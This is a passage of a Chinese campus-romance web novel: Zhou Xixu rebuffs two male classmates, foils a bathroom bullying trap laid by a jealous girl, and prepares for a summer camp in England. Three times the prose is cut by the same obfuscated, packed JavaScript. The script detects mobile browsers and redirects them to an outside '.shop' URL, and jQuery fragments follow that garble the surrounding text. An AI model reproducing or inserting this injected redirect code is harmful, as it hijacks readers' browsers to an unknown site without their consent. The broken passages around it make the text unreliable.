“玩玩吗?” 他问得很突兀。 周悉许没懂。“玩什么?” 程又一歪头朝篓恩抬了抬下巴,“你觉得能玩什么?”他没挑明,但意有所指。和篓恩这种玩咖,玩什么不言而喻。 周悉许不是傻白甜,更不是小白花。无忍气吞声或是揣着明白装糊涂,她都干不出来。 也没必要。 虽然不知道程又一为什么突然冒出这么一句话,但不管是出于什么原因,都让她很不爽。尤其是那副漫不经心的表情,在她看来,是嘲讽。 “玩不玩,和你有半毛钱关系?”她拿起水杯,轻轻晃了晃,“想和我玩,他自己会说,你三番两次没话找话,又是为了什么?” 程又一眼神玩味,“你觉得呢?” 其实周悉许不知道他什么目的。这人挺难琢磨的,但从表面看,她觉得是不怀好意。大概是她在外的名声不算好,又长得有几分姿色,个别猫猫狗狗动了色心,才一而再再而三地往上凑。 只有这样,他这些天的行为才说得通。 “你俩有区别吗?”周悉许反问,“说实话,你还赶不上他,这渣男起码还做做样子,不像某人人模狗样。” 篓恩在旁边:???怎么感觉被夸了,又好像被骂了? 见事态紧张,他赶忙出来打圆场,“你别听他胡扯,他跟你开玩笑呢,不过我是认真的,不是玩。” 周悉许懒得搭理他,矛头继续对着程又一。“话都说到这份上了,坦诚点吧,程又一,你不也就想玩玩吗?有什么好装的。” 程又一嗤笑一声,“倒挺会分析。”他点点头,显得有些无语,又或许是被拆穿面子上挂不住。 “那你玩吗?” 这话一出,篓恩不淡定了,“不是,程又一,你来真的啊?这么不像你风格呢。” 两人依旧都把篓恩当空气,谁都没搭理他。 周悉许冷笑,“你想怎么玩?” “看你。” 篓恩明显被这俩人互动的进度吓了一跳。上一秒还不熟,下一秒就聊得这么直接。虽然他心里确实也有那么点想法,但这么直接摊开来说,他接不住。 “看我啊——”周悉许故意拉长音,想了两秒,“那不好意思,没看上你,想和我玩,你还不够格。” 程又一轻笑,“怎么才够格?” “只要是你,就不够格。”周悉许毫不留情,“所以,以后别在我这刷存在感,离远点,别以为自己多招人喜欢。” 既然说了,就说得清清楚楚,她不怕得罪程又一,也不觉得话说得难听。对品性恶劣的人,她从不手软。 而程又一,就是这样的人。 起码她现在是这么认为的。 篓恩幸灾乐祸,“程又一,没想到你也有这么一天。”他朝周悉许竖起大拇指,“别搭理他,咱玩咱的。” “谁和你玩?你也一样,离远点。” 在周悉许眼里,程又一是摸不清底细的来者不善,可篓恩是一目了然的滥情渣男。她会和远离程又一,也自然会和篓恩划清界限。更何况篓恩一开口就满嘴流油,简直让人生理不适。 下课铃声适时响起。 周悉许起身离开,留下愣在座位上的篓恩,和看不出情绪的程又一,以及不远处听了整个事件始末的徐途。 片刻后,程又一起身也出了教室。 篓恩看着他离开的背影,喃喃自语:“这两人到底谁有病?”顿了顿,:“算了,都有病。” —— 周悉许刚从教学楼出来,电话就震动起来。 掏出来一看,屏幕上显示“猪蹄”。 朱缇是她在英国的闺蜜,是个华裔。她这人没什么特别爱好,就是爱换男友。谈过的男友数量比周悉许认识的所有异性还多,顶着个女流氓的名头,四处释放魅力。 但实际上,这名头并不纯粹。 周悉许按下接听键,电话里传出朱缇的大嗓门,声音大得像开了外放。 “周悉许,你个白眼狼!回申泸就不理老娘了是吧!” 周悉许把手机挪开了些,担心自己被震聋。“前两天没给你发帅哥照片?你还和人聊了半天,忘了?” 朱缇“呵呵”两声,“记着呢!这不想你了嘛!” 她才不信这鬼话。这货八成是太无聊,和自己闲扯来了。 “骗鬼呢,又没人陪你玩了吧?” “瞧不起谁?就姐这颜值,会没人陪?”对面扯着嗓子表示不满。 周悉许没反驳,因为朱缇有那个资本。她颜值确实很能打,身材性感又火辣,是标准的大美女。 她漂亮是真的,笨也是真的。 和周悉许一样,朱缇也是个实打实的榆木脑袋。相对来讲,周悉许还略胜一筹。虽然同样是下游水平,但周悉许经常在倒数第二和倒数第三之间徘徊,而朱缇则常年霸居榜尾,发挥一直很稳定。 “赶紧的,打电话有事没事?”周悉许没好气道。刚才的事弄得她一肚子火,她现在没什么耐心。 “靠,没事就不能联系你?咋火气那么大,早就和你说要阴阳调和,好好一少女弄得和更年期一样。” 这女流氓满脑子黄色废料,最擅长的就是口嗨。 “正闹心呢,没心情和你贫嘴。” “闹心啥啊?又被你爹妈骂了?” “不是,有那么个人挺烦的。” “哈?我没听错吧?什么人这么牛逼能惹到你?” 周悉许想了想,该怎么说?说有个男的天天在她面前晃?说这男的莫名其妙问她“玩玩吗”?怎么听都像是狗血偶像剧。 很离谱。 “普信男吧。”她说,“算了,不提了,脑袋疼。”她懒得想,更懒得提来南洋碰到的这些奇葩人和事。 “擦?搞得我有点好奇了,究竟是何方神圣,真想亲眼见见。” “就一傻叉。” 朱缇笑了两声。“对了,跟你说个事,要不了多久,我就去申泸找你了。” “啊?你要来申泸?”周悉许很意外。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586017|205265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 朱缇是申泸人,但很小的时候爸妈离婚了,之后她妈就带她去了英国,而他爸很快再婚生子。所以这么多年,朱缇从来没回过申泸,也没再见过她爸。申泸对她来说算是个不愿再踏足的故乡。 可听着,她气压不低,隐约还透着点兴奋。 “我那个缺大德的爹终于遭报应了,小三那个儿子是带来的,和他半毛钱关系没有。” 朱缇语气里是掩饰不住的喜悦,像是大仇得报。 “这不前阵子抓到现行了,人家一家三口美滋滋吃团圆饭呢,他才反应过味来,一查,那儿子竟然是一野种。” “那你爸把他们赶出去了?让你回来?” 朱缇笑得幸灾乐祸,“错,是他求我回来!这事对他打击太大,直接气进医院了,万一噶了,不得需要人继承家业嘛。” 原来是这么回事。 兜兜转转十几年,也算是各归其位了。心思不正的人竹篮打水一场空,抛妻弃子的人也受到了应有的惩罚,属于朱缇的最终还是回到了她手里。只不过这缺失的十几年,曾经的怨和恨,很难一笑了之。 “那你什么时候回来?” “看姐心情吧,现在主动权在我手里,而且你也知道,我妈那个倔脾气。”朱缇顿了顿,“不过放心吧,不会太久,等姐到了,亲自去会会惹你那个普信男。” 听她这么说,周悉许心情瞬间就好了。回申泸这段时间,除了陆竞,她连个朋友都没有,大部分时间过得都挺无聊的。 “你赶紧来吧,普信男需要你整治。” “那普信男长得怎么样?如果还不错的话,姐可以考虑说服他。”朱缇话锋一转,上一秒还正了八经,下一秒又没正行。 客观评价,程又一的长相确实是万里挑一的帅,和周悉丞类型有点像,大概率是符合朱缇的喜好。 “长得还凑合,看得下去。” 周悉许打了个马虎眼。但朱缇立马明白了。 “哦,看来是个大帅比。” 周悉许没否认。 朱缇低声坏笑,“那姐可以说服他,再渣他一回,让他涨涨教训。” 周悉许知道朱缇就是嘴上功夫,就跟着开玩笑,“那就等你来说服他吧,让他再也不敢装逼。” 两人说得正起劲,朱缇那边突然来了个电话,便匆匆挂断。 周悉许打算回教室。 身后响起一个声音—— “普信男,说的是我?” 周悉许回头。 被吐槽的男主角此时正站在不远处,地上还有刚熄灭的烟蒂。 周悉许:“……” 这人怎么阴魂不散? “你有偷听墙角的习惯?” “碰巧而已。”程又一走过来,垂眼看她,“找你姐妹说服我?” 看来是都听到了,也听明白了。 周悉许有些尴尬。她故意避开问题,“那还真是巧得过分了。” “是啊,不然也不会听到有人背后蛐蛐人。”程又一微微躬身,视线和她平齐,语气暧昧了几分。“倒也用不着那么麻烦,你就能说服我。” 周悉许往后挪了挪,拉开两人间的距离。 这人是不是有什么大病?刚被骂完又凑上来找骂? “我记得刚才和你说过,对你没兴趣,希望你听得懂,别让人反复强调。”她一脸不悦。“还有,别在我这浪费时间,挺烦的,去撩那些肯让你睡的。” 程又一苦笑,“你觉得我在你面前晃,是因为风流成性,想睡你?” “难道不是?” 程又一看了周悉许好一会儿,才开口,“所以,你排斥我,是因为觉得我对你有想法?” 周悉许回得直白。“准确地说,从见到你第一眼起,就不想和你有交集,我这人很信直觉,我的直觉不喜欢你,甚至还有点烦。” 程又一被气笑。 良久,没说话。 周悉许转身时,他才问,“为什么?” “没理由。”周悉许扔下三个字,就离开了。 程又一默默抽出根烟,点燃。 他望着周悉许的背影,深深吸了一口。烟头的火光在雨雾里明灭,像他此刻说不清的心情。 他不知道的是,不远处,也有一个人望着他的背影,看了好久。 顾畔紧紧攥着旁边女生递来的矿泉水,塑料瓶身变了形。 刚才两人的互动她看得一清二楚,虽然没听清对话,但她看到了程又一的步步紧逼,和周悉许的连连后退。 她周身气压很低,“果然狐狸精还是要给点教训,不然她不长记性。” 旁边的跟班点点头,试探着问,“周悉丞那边怎么办?得罪他,你家里那边会不会……?” 话没说全,欲言又止。 顾畔瞪了跟班一眼。“周悉丞只不过是给大家一个警告,又没人真要把她周悉许怎么样,女生之间开开玩笑而已,再说了,他又不知道是谁做的。” 跟班领悟了顾畔的意思,回得毕恭毕敬,“明白了,我这就去找几个面生的给周悉许安排一份见面礼。” 顾畔看着周悉许离开的方向,嘴角慢慢勾起弧度。 “周悉许。” 她念了一遍这个名字,然后转身,走进雨里。 5. 那人是谁? 周悉许勤快了一天,第二天又恢复本性。窝在床上赖到中午,上眼皮和下眼皮才彻底分开。 随手打开电视。 屏幕里出现周征那张堆满假笑的脸。他正信誓旦旦地描述着周氏的雄伟蓝图和他的慈善事业,满嘴仁义道德。 那模样,在外人看是德行高尚的成功人士,但在周悉许眼里,滑稽得很。 巧的是,电视里那个讲着“对子女用心良苦”的慈父,此时发来了一条语言消息。 周悉许点了下这条长达14秒的语音。 周征带着命令的声音传出来—— “你最近给我消停点,不该去的地方别去,老老实实给我去学校上课,别开车出去瞎晃。” 手机里周征的声音冰冷得不带一丝温度,和电视里语重心长的慈父形成强烈对比。 周悉许把电话扔到一边,直接忽视。她从床上爬起来,准备去浴室冲个澡清醒清醒。 —— 而另一边,南洋教学楼的女卫生间。 顾畔斜靠着洗手台,看着面前忙碌的几个女生,眼里的笑意愈来愈深。 “畔姐,我们这样弄真的没事吗?我有点担心周悉丞。”一个矮个子女生一边固定隔间门上的水桶,一边问。 顾畔抬腿踢了一下立在旁边的球杆。“胆子这么小就别跟着我,周悉丞最近不会闹出什么动静,他老子会管好他。” 她认定现在是教训周悉许的最佳时机。周氏最近有大动作,不能闹出负面新闻。 所以,这个哑巴亏,周悉许是吃定了。 旁边一个女生连忙狗腿附和,“周悉许她是自找的,活该,畔姐已经很手下留情了。” 另一个女生别过头,继续做手里的事,不敢再多嘴。 顾畔手指勾起一绺头发把玩,嘴角微微扬起弧度。“她的确是自找的,没弄花她那张到处勾引人的脸,已经算手下留情了。” “畔姐,周悉许还没来。”一个女生小跑进了卫生间,气喘吁吁地说。 顾畔眉头微皱,“问清楚她一般什么时候来了吗?” 女生摇头,“问了,她们说她不固定,有时候上午来,有时候快放学来,有时候直接不来了。”说到最后声音越来越小,明显是胆怯了,怕自己被当做出气筒。 顾畔翻了个白眼,“废话,说了和没说一样,程又一来了吗?” “也没来。”女生的声音更小了,说完低着头后退了两步。 听到程又一也没来,顾畔火气就上来了。脑子里全是昨天程又一看周悉许离开的画面,他背影很落寞,还有他说话时下意识的肢体语言。这些种种都看得出他对周悉许有些不一样。无论是不是喜欢,都让她嫉妒得发狂。 “什么叫也没来?没来就没来,前面加个“也”是什么意思?” 女生被吓得声音颤抖,“畔姐我错了,程又一没来,我再也不乱说话了。”她的头压得很低,大气不都敢喘。 “砰”的一下。 东西掉落到地上的声音打断了这紧张氛围。 顾畔看向卫生间门口。 一个女生站在门外。她长相斯文,挺秀的鼻梁上架着一副细框眼镜,看上去是个好学生。 “滚去别的卫生间。”顾畔不耐烦道,显然还在气头上。 女生正要离开,她再次开口,“周悉许是你班的吧?” “嗯。”。 “和她熟吗?” “不熟,她都不怎么来上课。”女生小声说。 顾畔想了几秒,“等周悉许来了,让她来这个卫生间,废话别说。” 女生点点头,随后快步离开。 顾畔没制止,反而笑了。 几个跟班捉摸不透这笑的含义,互相看看彼此,没敢出声。 —— 四十分钟后,几个女生布置好了卫生间的“惊喜”。 顾畔等得有些累,整个人斜靠着墙问,“周悉许还没来?” 跟班回,“刚问完咱们的人,说是还没来。” 她骂骂咧咧,“她特么到底是不是学生?天天在干嘛?再不来就放学了!”抱怨完又忍不住问,“有没有和她关系好的?问问到底什么情况。” 跟班出去打了个电话,没过两分钟回来了。“畔姐,说是周悉许一直独来独往,没有关系好或是走的近的人,问了一圈,谁都不知道她什么情况。” 顾畔忍无可忍,一脚踹开卫生间的门,离开了。 而此时,周悉许正瘫在沙发上睡午觉,无比惬意,全然不知有人正因为她气得要暴走。 —— 下午,几个跟班守在女卫生间门外。 顾畔走过去,“还没来?” 其中一个女生怯生生点头,“会不会她今天不来了?还有两节课就放学了。” 顾畔原本就气不顺,听这话更气了,“用得着你提醒我快放学了?猪脑。” 等了周悉许快一天,连个人影都没见着。下午大课间又碰上教导主任抽查高二,布置的这点东西装了拆,拆了又装,折腾得人心累。虽然她没动手,但也被耗得耐心全无。她揉揉紧皱的眉头,不打算继续耗在这了。 “给我盯好了,周悉许来了按计划做,搞砸了有你们好看。” 刚说完,一个女生就急匆匆跑过来,“畔姐,她来了。” —— 与此同时,周悉许挎着书包慢悠悠朝教学楼走去。 刚踏进教室门,就感觉到异于平常的氛围,但又说不出哪里不一样。她走到座位前,随手把书包扔在椅子上,一屁股坐下。 过道对面递过来一本英语作业。 “你作业本发到我这里了,打开确认下,有没有问题。” 周悉许抬头。 是那个叫徐途的女生。 她纳闷:自己根本就没写过作业,更没交过所谓的作业本,怎么会发错? 刚准备否认,对方先一步开口,“你先翻开看看是不是?” 是催促的语气,看上去还有一些慌张。 周悉许便没再说话,直接翻开作业本。看了一眼,朝徐途点点头,“谢谢,是发错了,等我找到你的再还给你。”她放下手里的作业本,起身走出教室。 徐途望着周悉许离开的背影,左手扶了下鼻梁上的镜框,出神了片刻,然后继续奋笔疾书。 —— 出了教室,周悉许径直朝走廊尽头的卫生间走去。正值课上,走廊里几乎没有人,偶尔遇到被罚站的学生。 到了卫生间门口,面前的门紧闭。 周悉许察觉到异样。 平常这门都是一直敞开的,只有里面的隔间门是关着的。 这么明显的陷阱,只有傻子会上当。 她抬起长腿,朝门狠狠一踹。 “砰”的一声。 门开了。 她没走进去,只是站在原地。 “里面的给我滚出来,别逼我进去自己动手。” 卫生间里没动静。 “不出来是吧,那就别怪我下手狠了。”她舒展了下筋骨,走进去,随手关上门。 门刚关上,就感觉有两个人从后面蹿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586018|205265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来,要来抓她的肩膀。手还没触碰到她,被她一个反身躲过去。她一个单腿横扫,踢倒斜后方的人。又一个抬腿侧踢,踹倒另一侧扑过来的人。 三个女生倒地哀嚎。 卫生间里要冲出来的几人都停住脚步。 这局面已经超出了她们的预料。看周悉许这身手,普通小女生根本不是对手,贸然扑上去就是自寻死路。 几人看向顾畔,用眼神询问该怎么办。顾畔把其中两人推了出去,被推出去的人猝不及防,都倒在地上。 这波骚操作把周悉许逗乐了。 “就你们?也敢来招惹我?” 倒地的女生面露惊慌。 “事先没做做功课?姑奶奶是会格斗的,小疯狗的视频都没看过吗?”她自嘲道,“啊,想起来了——被剪辑了,完整的没放出来。” 几个女生都呆住了。周悉许看着细胳膊细腿,白白嫩嫩的,像是学舞蹈的,谁会想到她是练格斗的? 周悉许扫视一圈,目光锁定在隔间门上的水桶和立在旁边的高尔夫球杆,然后笑了。 “就算霸凌好歹也专业点,这是在过家家吗?” 她走到隔间门前,伸手一拍。 水桶“咚”的一声掉在地上。 紧接着,哗哗的水流声中,伴随着一声惨叫,顾畔夺门而出。 她全身上下都湿漉漉的,像个落汤鸡。再加上她个子不高,又很瘦小,配上那张娃娃脸,显得可怜兮兮的。 周悉许觉得又好气又好笑。 人脑能想出这么弱智的操作? 她摆摆手,“哪儿凉快哪儿待着去吧,你弄不了我的,别给自己找麻烦。我也没兴趣陪你们这些小孩玩儿。” “你小看谁?我是怕吓到你!”顾畔气得浑身发抖,明显很不服气。眼睛瞪得溜圆,手指了指自己,又指了指对面人,“搞搞清楚,是我,在警告你!” “行行行,是你警告我。”周悉许懒得和她一般见识,“但希望这是最后一次。还有,再重申一遍,我对程又一没兴趣,也和他没任何关系。” 顾畔不肯罢休,“那你不准勾引他,也不准和他说话。” 周悉许差点儿被气乐了。 这孩子听不懂人话。要么就是缺副助听器。她已经讲得够清楚了,还一遍遍重复。 还有……那个程又一是什么香饽饽吗? 谁稀罕。 “你貌似搞错了,只要他不在我眼前晃,我就谢天谢地了,请你多花点心思搞定他,别来烦我。” 没等顾畔再开口,周悉许已经出了卫生间。 本来以为可以活动活动筋骨,没想到遇上这么一出闹剧。怪她,把对手想的太强了。现在来看,连对手都算不上。 有点侮辱人。 不过,细想一下也说得通。毕竟程又一的脑残粉,又能是什么狠角色? 回到教室,周悉许把书桌上的作业本递给过徐途,“谢谢,还给你。” 见周悉许和之前并没两样,徐途心下了然。她接过作业本,抽出里面的纸条,揉成团,扔进课桌的抽屉里。 —— 放学后,教室里的人几乎都走光了。 徐途的座位前站着一个人。 那人掏出被揉成团的纸,铺开,看了一眼。 窗外,雨不知道什么时候停了,夕阳的余晖斜斜地照进来,明暗交错。 那人放回纸团,转身离开。 走廊里的脚步声越来越远。 教室里空无一人。 只有那团纸静静地躺在抽屉里。 6. 有屁一起闻 初夏,蝉鸣声吵得人心头躁动,让人总想往外跑。刚好,南洋一年一度的暑期夏令营也来了。 为了让一部分有留学打算的学生提前了解国外的文化生活,学校提供了几条路线,各路线的行程介绍和费用说明提前一周下发了。 而今天,是最后一天。 周悉许看着书桌上的宣传单,掏出手机,点开那个叫【有屁一起闻】的三人群。 这个群名是朱缇那个小天才想的。原话是:“什么有福同享、有难同当,太俗了,有屁一起闻。”于是就有了这个清新脱俗的群名。 她飞快敲出一行消息: 「南洋夏令营,我打算选英国,你们下个星期在吗?」 消息刚发出去,朱缇秒回: 「我在,卡卡不在。」 紧接着就是鲁卡卡的回复: 「我逃难中,此刻坐标新西兰。」 朱缇发来一条语音。 周悉许抬眼看了看讲台,班主任正低头在念PPT,声音不高不低。她没直接点开,转了文字。 「卡卡你终于冒泡了,我还以为你得再失联一个月,实在不行,你和我一起回申泸避避算了。」 周悉许:「卡卡怎么了?」 过了十几分钟,鲁卡卡才回。 「我二叔得势了,我哥让我先出来避避,等他们处理好了,再接我回去。(哭脸)」 周悉许恍然大悟。 又是内斗。 鲁卡卡家里的情况她多少知道一点,亲兄弟斗得你死我活。她爸妈意外去世,死因不明,有传言说是内斗的牺牲品。 朱缇的消息又弹出来: 「所以你和我一起回申泸更安全,没看小说吗?女主逃到哪个国家都能被霸总找到,唯独在C国他找不到,毕竟不能无法无天(大笑)」 朱缇这货又在一本正经地扯淡…… 但结论没错。 申泸对鲁卡卡来说,的确很安全。毕竟,她周悉许在这儿都活得好好的。 周悉许:「猪蹄说得没错,来申泸吧,卡卡。」 鲁卡卡回得很快: 「我和我哥说说,对了,你自己去英国吗?陆竞去吗?还有你哥呢?」 周悉丞之前的夏令营都是去英国,这次应该也不例外。至于陆竞……还没来得及问。 周悉许点开和陆竞的聊天界面: 「夏令营你去哪?」 发送按钮刚按下去,就显示对方正在输入。 「去英国,悉丞也一起。」 果然,不出意料。 她又在群里回了条消息: 「陆竞和周悉丞也去英国。」 鲁卡卡回了个坏笑的表情。朱缇则迟迟没动静。 之后,群里活跃的就只剩鲁卡卡,周悉许和她闲扯申泸特产,两人聊得热火朝天。 教室门“咣当”一声被踢开,门板撞在墙上弹了一下。 周悉许吓了一跳,手机差点脱手。 抬头一看,是篓恩。 自打那天不欢而散后,就没再见过他和程又一。据说程又一忙着比赛,这阵子辗转在各个国家,一直没回申泸。 最近各个平台都是关于他的报道,频传捷报,风头正盛。课间,同学们闲聊的话题也都和他有关。女生们爱慕,男生们羡慕,听得出人气很高。 然而,别人口中的他,和周悉许接触的那个他完全不一样。 为什么会有这么大的区别? 周悉许想不通,也没再细想。程又一总归是和她不相干的人,没必要浪费精力。 “嗨,好久不见啊。” 篓恩一屁股坐在椅子上,和周悉许打了个招呼,看样子是把之前的不愉快都忘在了脑后。 周悉许没抬眼,只是低声应了个“嗯”。 篓恩没当回事,没心没肺地说,“这阵子陪程又一出去比赛,累死小爷了。” 周悉许:“……” 这人是不是有健忘症?没事搭什么话。 “你是没看见,程又一那孙子有多牛逼。”篓恩伸手比划,“连续三站冠军,直接把积分榜从第五干到第二,什么含金量不用我说多了吧。” “……”周悉许依旧面无表情。 谁问他了?那么多屁话。 她头都没抬,眼睛盯着屏幕,只希望篓恩这傻缺有点眼力见,赶快闭嘴。 屏幕上弹出一条推送—— 【天才少年程又一再夺分站冠军,F1围场向17岁中国车手抛出橄榄枝。】 她看了一眼。 然后划走。 她对这人的事不感兴趣。 篓恩还在疯狂输出,完全没注意到周悉许的白眼。“这孙子才17啊,平时他确实没小爷帅,但场上真帅爆了,小爷都甘拜下风。” “……”周悉许别过头,让这个不会看眼色的人自行体会。 见她这爱搭不惜理的模样,篓恩才想起前阵子的矛盾。他摸着下巴琢磨了一会儿,开口,“那天的事我回去想了想,你生气,能理解。程又一那孙子说的话你可能误解了。” “哦。” “一起玩没别的意思,就单纯当个朋友。”篓恩解释,“毕竟大家都是同学,抬头不见低头见的。” 误没误解,周悉许心里有数。程又一虽然话说得不明白,但表情她看得清清楚楚。 她冷着脸,继续忙自己的。 见她还不打算搭理自己,篓恩又接着说,“我这个人喜欢开玩笑,以为你也差不多,所以和你闹着玩呢。程又一那人又不太会说话,你别往心里去。” 周悉许抬眼。 篓恩见她有点反应,连忙伸手保证,“真的,我俩真不是啥坏人,就寻思和你交个朋友,没你想的那些肮脏心思。” 周悉许不是三岁小孩,很清楚这人纯粹是睁眼说瞎话。最开始他或许觉得有机可乘,但没想到碰壁了,如今只能硬着头皮自圆其说。但就像他说的,是同学,抬头不见低头见,一直僵着挺尴尬的。 “我这人不爱交际,更不爱交异性朋友,尤其是些酒肉朋友。”她说。 “酒肉朋友”是什么意思篓恩心知肚明。他不好意思挠挠头,看着有点憨,没之前那么油腻,“我这不是听说——” 话说到一半,又收住了。 后面的内容就算不说,周悉许也猜得到。 她点点头,“的确,我的名声怎么样,我心里有数,但现在我已经说得很清楚了,如果是普通同学,我OK,其他乱七八糟的,没兴趣!” “你倒是和外面传的不太一样。”篓恩笑道。 他原本以为周悉许就是一玩咖,整天花天酒地,身边围着无数帅哥男模。可眼前这个,除了性格直,脾气爆,和谣言里那个人根本对不号。 “行啊,那就同学呗,再不行就当哥们处,把你当男的,总行了吧。” 周悉许耸了下肩,表示不在意。 “对了,你夏令营打算去哪?”篓恩从包里掏出一盒巧克力,自己剥了一块放进嘴里,把盒子推到了周悉许桌上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586019|205265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “去英国。”周悉许看了眼盒子,里面有坚果,推了回去,“坚果过敏。” 篓恩没再让,把巧克力扔到程又一桌上,“他喜欢。” 周悉许不免觉得好笑。一个大男生喜欢吃巧克力,还挺不常见的。 “你们咋都爱去英国?程又一那个傻逼也是,每年都去英国,我都去够了。” 周悉许没接话,专心刷视频。 篓恩也终于消停了。 过了大概十分钟,程又一来了。 他走进教室的时候,几个女生的视线齐刷刷投过去。有人用课本挡住半张脸,和旁边人小声说话。有人假装喝水,眼睛却一直跟着他转。 “报上去没?”篓恩抻着脖子问。 “嗯。” “还是英国?” “嗯。” 程又一走到座位上,拉出椅子,全程没看后面一眼。 篓恩叹了一口气,“就知道,年年这样,一点惊喜都没有。”他凑过去,压低声音,但音量刚好能让周悉许听见,“程又一,你说实话吧,英国是不是有你小情人?天天老想着往那跑。” 程又一沉默了两秒。 “你就当是。” 他说这话的时候,背对着周悉许,看不见表情。 “我擦,除了我你还有别人,你个天杀的。” 篓恩又戏精附体了。 周悉许没功夫看他表演,低头继续搜“申泸特产有哪些?”手指在屏幕上随意划着,搜出的结果五花八门。有说小笼包的、有说蝴蝶酥的,她都拿不准。她一个土生土长了一半的申泸人,活像个外乡人。 篓恩伸手轻轻在她桌上敲了两下,“周悉丞也去英国?” 周悉许“嗯”了一声,手没停。 “这么一看,今年英国又要爆了,我们三大帅哥齐聚英格兰。”篓恩很自恋地拨弄了下碎发。 “和你有关系?”程又一讽刺道。 “尼玛!怎么和小爷没关系?就我这张脸,185的身高,这个名气,放眼整个申泸,你能找出第二个?” 篓恩的话不假。他的五官很标准,身材也不错,外在确实是帅的。只是人格魅力欠缺了许多。 他说得很自信,程又一回得也很无情,“确实找不出第二个比你名声更臭的。” “尼玛!你特么这是在嫉妒小爷!” 程又一没接茬,屏蔽了篓恩的鬼话,不用他多费口舌,但凡长眼睛的,都知道是谁该嫉妒谁。 篓恩指了下周悉许,“对了,我俩关系缓和了,以后当哥们处,你自己看着办吧。” 程又一只是低低地“嗯”了一声,表情没变,还是平时那副扑克脸,但似乎……又不一样,总觉得带着点情绪。 接下来过得出奇平静。 篓恩偶尔和程又一说几句话,又时不时找周悉许扯皮。程又一没和周悉许说过一句话。 和陌生人没两样。 可能是上次说的话起效了。 周悉许暗自庆幸。 —— 当晚,顾畔收到了一条短信: 「程又一今年还去英国。」 顾畔想了几秒回: 「周悉许去哪儿?」 对面似乎早有准备,几乎在她发出的同时就回了过来: 「英国。」 顾畔盯着屏幕里的信息,攥紧了手里的电话。平复了一下情绪,她回了俩字: 「盯紧。」 屏幕暗下去。 窗外,夜色很深。 7. 是个gay 出发当天,天还没完全亮透,空气里是早晨特有的清冽。 周悉许一手拖着行李箱,一手拎着给朱缇的申泸特产,往屋外走。轮子在地板上咕噜咕噜响,吵醒了还在睡觉的狗。 她推开门,看到陆竞。 “你怎么来了?” “来接你,怎么带这么多东西?”陆竞笑着接过她手里的包,轻轻晃了晃,沉甸甸的,估摸着至少五六斤重。 “给猪蹄那个败类。” “她不是很小就去英国了吗?吃这个?” 周悉许把手里吃了一半的鲜肉月饼塞进嘴里。“每样都带点,管她吃不吃。” 陆竞笑了笑,没再接茬。 两人到了楼下。门口停着周悉丞的车,后面是陆竞的。 “周悉丞也来了?” “嗯。”陆竞点头,“昨晚在我那住的,就一起来了。” 周悉许下意识朝周悉丞的车走去,陆竞拦住她。 “你坐我车吧,浅浅在悉丞车上,你俩别在车上打起来。” 周悉许翻了个白眼,“她是怎么做到的,都主动成这样了,还没拿下周悉丞?” 陆浅这粘人的能力堪称一绝,甚至秒杀强力胶。周悉丞去哪,她去哪,除了睡觉洗澡上厕所,在公共场合,只要看到一个人,另一个绝对也在附近。 陆竞自嘲,“我不也一样吗?” 周悉许语塞。 说的倒也没错。可喜欢这种感觉,很微妙,不受人的意志左右,更强求不来。她也很想喜欢上陆竞,可做不到。 周悉许逃似得钻进车里。 一路上气压很低。 陆竞刚才虽然是玩笑的口吻,但还是透着淡淡的失落。每次看到陆竞这样,周悉许都很愧疚。她觉得自己和周悉丞本质上一样,甚至更恶劣。明明不喜欢,却让他在自己身边这么久。 “陆竞,你换个人喜欢吧,我不是什么好人。”她说。 陆竞被这突如其来的话说得一愣,然后笑了。 “悉许,靠近过你的人都知道你是最好的。” “我比周悉丞更能钓。” “你没钓过我,喜欢你,是我一个人的事,和你没关系。而且,这些年你不是也一直在拒绝吗?只不过是我忍不住想靠近,是我不死心。” 陆竞的声音听上去云淡风轻,像是一个局外人在讲别人的事。但周悉许听着,心里却不舒服。 她愧疚,心疼,又无能为力。 正当她犹豫着不知道该说些什么时,车缓慢停了下来。 透过车窗,看到带队老师和一众学生,乱哄哄地聚在那一小戳。打闹的、闲聊的、吃东西的,热闹得很。 程又一挺拔的身姿在人群中格外显眼。他身穿黑色T恤,头上顶着一个棒球帽,帽檐半遮着优越的轮廓,露出的脸棱角分明。 周悉许多看了一眼。 不得不承认,这人是真的帅,绝对是鹤立鸡群的存在。但帅又不能当饭吃,起码她觉得不能。 一旁,篓恩穿了件很花哨的粉衬衫,头发打了发蜡,一缕一缕的,整个人更油腻了。他像一滩烂泥似的倚着程又一。 对比惨烈。 周悉许嫌弃地咧了下嘴。 这画面不知道该说是养眼还是辣眼睛。 